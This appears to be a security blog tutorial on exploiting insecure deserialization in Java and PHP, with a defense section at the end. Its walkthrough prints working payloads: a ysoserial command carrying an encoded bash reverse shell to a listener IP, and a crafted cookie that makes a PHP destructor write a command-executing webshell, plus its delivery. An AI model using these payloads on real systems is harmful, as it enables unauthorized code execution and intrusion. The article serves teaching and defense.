Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Serialization converts an in-memory object graph into a byte stream so it can be stored or transmitted; deserialization reverses the process, rebuilding live objects from that stream. The danger is that reconstructing an object is not a passive operation — many languages invoke constructors, setters, and lifecycle hooks (__wakeup, __destruct, readObject, readResolve) automatically as part of rebuilding the graph, before the application ever gets to inspect what was sent. If an attacker controls the serialized bytes, they control which classes get instantiated and, transitively, which of those auto-invoked methods execute — turning a data format into a code-execution primitive.
Insecure deserialization sits at #8 in the OWASP Top 10 (2017) and is folded into “Software and Data Integrity Failures” in the 2021 edition, but its severity has not diminished — it is one of the most reliable paths to unauthenticated remote code execution in Java applications, and a classic, still-common source of PHP object injection leading to RCE, file write, or SQL injection through so-called “gadget chains.” Unlike most injection classes, the attacker rarely needs to find a bug in *your* code at all — the vulnerable logic usually lives in a legitimate library already on the classpath or in the include path, waiting to be chained.
Attack Prerequisites
The exact requirements differ by language, but the shared core is the same: attacker-controlled bytes reaching a deserialization call.
- An endpoint that deserializes attacker-supplied data — a cookie, a cache/session store value, an API body, a file upload, or an internal message queue payload processed with
ObjectInputStream.readObject()(Java) orunserialize()(PHP). - A usable gadget chain reachable on the classpath / include path — a class (or chain of classes) with dangerous side effects in a constructor/wakeup/destructor/
readObject, present in an application dependency (Commons-Collections, Spring, Hibernate for Java; a framework, CMS, or ORM for PHP) even if the application’s own code never calls it directly. - For Java: a serialized-object entry point often disguised as opaque Base64 in a cookie/header, or a binary body on a custom RMI/JMX/HTTP endpoint.
- For PHP: a class with
__wakeup(),__destruct(),__toString(), or similar magic methods reachable fromunserialize(), frequently combined with a secondary sink (file write, SQL query,eval) inside that gadget chain to achieve impact.
How It Works
In Java, ObjectInputStream.readObject() reconstructs an object graph purely from the type information embedded in the serialized stream — the class name to instantiate is *part of the attacker-controlled bytes*. As each object is rebuilt, the JVM automatically calls that class’s readObject (if it defines one) to let it customize deserialization. Gadget chains exploit classes whose readObject/hashCode/equals/toString methods perform reflection, invoke other methods, or trigger lookups (JNDI, in the case of the Log4Shell-adjacent class of bugs) as a side effect. A tool like ysoserial does not exploit a single bug — it chains multiple, individually ‘legitimate’ library behaviors (e.g. TransformedMap/LazyMap in Apache Commons-Collections invoking an arbitrary Transformer during a hash lookup) so that rebuilding the object graph runs attacker-chosen code, such as Runtime.exec(), without the application ever calling anything explicitly.
PHP’s unserialize() works on the same principle with PHP’s own magic methods. __wakeup() runs automatically right after an object is reconstructed (meant for re-establishing resources like database handles); __destruct() runs when the object is garbage-collected, which PHP guarantees happens by end of script if nothing else triggers it sooner; __toString() runs whenever the object is coerced to a string. A PHP Object Injection (POP) gadget chain strings together classes already loaded by the application (from its own code or, more often, a framework/CMS/library) so that instantiating the attacker’s chosen object graph causes a cascade: __wakeup() on object A calls a method that touches object B, whose __toString() writes attacker data to a file or builds a SQL query, and so on until the chain reaches a genuinely dangerous sink.
Both languages share the same root failure: the deserializer trusts type and structure information from an untrusted byte stream and executes code as a side effect of rebuilding an object, *before* the application layer gets any chance to validate the resulting data.
Vulnerable Code / Configuration
Java: a handler that deserializes an untrusted request body directly with no type restriction — the classic entry point ysoserial payloads target.
// VULNERABLE: raw ObjectInputStream over attacker-controlled bytes,
// no class allowlist, no look-ahead filtering.
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(req.getInputStream());
Object session = ois.readObject(); // <-- executes gadget chain here
// ... application logic uses `session` ...
}
// Any class on the classpath (including transitive dependencies like
// commons-collections) can be instantiated by the attacker's stream.
JavaPHP: unserialize() called on user input, with a class in the application defining a dangerous __wakeup()/__destruct() — a minimal, realistic POP gadget.
<?php
// VULNERABLE sink: cookie value fed straight to unserialize()
$prefs = unserialize($_COOKIE['prefs']);
// A class already loaded by the app (e.g. from a logging library)
class Logger {
public $logFile;
public $logData;
// __destruct runs automatically at end of script / GC
public function __destruct() {
file_put_contents($this->logFile, $this->logData, FILE_APPEND);
}
}
// Attacker crafts a serialized Logger object with:
// logFile = '/var/www/html/shell.php'
// logData = '<?php system($_GET["c"]); ?>'
// unserialize() rebuilds it; __destruct() fires and writes a webshell.
PHPWalkthrough / Exploitation
Java, using ysoserial to generate a Commons-Collections gadget chain that spawns a reverse shell, then delivering it to a vulnerable endpoint:
java -jar ysoserial.jar CommonsCollections6 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' > payload.bin
# Deliver as a raw POST body to the vulnerable deserialization endpoint
curl -s -X POST --data-binary @payload.bin \
-H 'Content-Type: application/x-java-serialized-object' \
https://target.internal/legacy/sessionHandler
BashPHP: crafting a POP-chain payload by hand for the Logger gadget above, then delivering it via the vulnerable cookie sink:
<?php
class Logger {
public $logFile = '/var/www/html/shell.php';
public $logData = "<?php system(\$_GET['c']); ?>";
}
echo urlencode(serialize(new Logger()));
// Feed the URL-encoded output as the `prefs` cookie value
PHPcurl -s https://target/dashboard.php \
--cookie "prefs=O%3A6%3A%22Logger%22%3A2%3A%7Bs%3A7%3A%22logFile%22%3B"\
"s%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A7%3A%22logData%22"\
"%3Bs%3A30%3A%22%3C%3Fphp+system(%24_GET%5B%22c%22%5D)%3B+%3F%3E%22%3B%7D"
# On the next request the webshell is live:
curl -s 'https://target/shell.php?c=id'
BashFor unfamiliar PHP codebases, PHPGGC (“PHPGGC: PHP Generic Gadget Chains”) automates finding and generating chains for known frameworks and libraries, the PHP analog of ysoserial:
phpggc -l | grep -i monolog
phpggc Monolog/RCE1 system 'id' -b # base64-encoded payload output
BashNote: For Java,
readObject()is not the only sink — JMX, RMI, JMS message listeners, and any code path callingXMLDecoder.readObject()or unsafeObjectMapperpolymorphic-typing configurations in Jackson can all be equally exploitable entry points. Enumerate every place serialized data enters the application, not just obvious HTTP endpoints.
Opsec / Testing tip: A gadget chain that doesn’t match the exact library versions on the classpath will simply fail to deserialize (ClassNotFoundException / InvalidClassException) rather than partially succeed — fingerprint dependency versions first (error pages,
pom.xml/composer.lockif leaked, or banner-grabbing) to pick the right ysoserial/phpggc gadget rather than brute-forcing every chain against a production target.
Detection and Defense
The only fully reliable fix is not deserializing untrusted data at all; where that is not feasible, defense in depth is required:
- Prefer data-only formats — JSON/schema-validated payloads instead of native object serialization for anything crossing a trust boundary.
- Java: use a look-ahead deserialization filter (
ObjectInputFilter/jdk.serialFilter, or Contrast/SerialKiller-style allowlists) that rejects any class not explicitly permitted before it is instantiated. - PHP: never call
unserialize()on user input — usejson_decode()instead, or if native serialization is unavoidable, pass['allowed_classes' => false]to strip all object instantiation. - Keep gadget-source libraries patched and minimal — remove unused dependencies (Commons-Collections, Jackson polymorphic modules, vulnerable Monolog/Twig/Guzzle versions) since the vulnerability usually lives in a library, not application code.
- Run with least privilege — a deserialization RCE inherits the process’s permissions, so a non-root service account and network egress restrictions limit blast radius even when a chain succeeds.
- Monitor for the tell-tale signatures — Java streams start with the magic bytes
0xACED; unexpected outbound connections or child processes spawned by an app server process are strong deserialization-exploit indicators worth alerting on (EDR process-lineage rules).
Real-World Impact
Java deserialization gadget chains (popularized by ysoserial since 2015) have driven remote code execution in widely deployed products, including high-severity vulnerabilities in Jenkins, WebLogic, WebSphere, and Apache Struts’ underlying libraries, and remain a staple finding in assessments of legacy Java middleware and JMX/RMI-exposed services. PHP object injection is equally persistent in CMS and framework ecosystems — PHPGGC ships pre-built chains for dozens of popular libraries precisely because the pattern (a reachable magic method plus a dangerous sink somewhere in an already-loaded class) recurs across nearly every major PHP framework and CMS at some point in its history.
Conclusion
Insecure deserialization is dangerous precisely because the vulnerable code is rarely application-specific — it is the accumulated side effects of ordinary, individually reasonable classes already sitting on the classpath or include path. Treating any serialized blob from outside the trust boundary as executable input, rather than inert data, and eliminating native deserialization of untrusted bytes wherever a schema-validated format like JSON will do, is the only durable defense against a bug class that has yielded RCE across nearly every major Java and PHP ecosystem component at one time or another.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments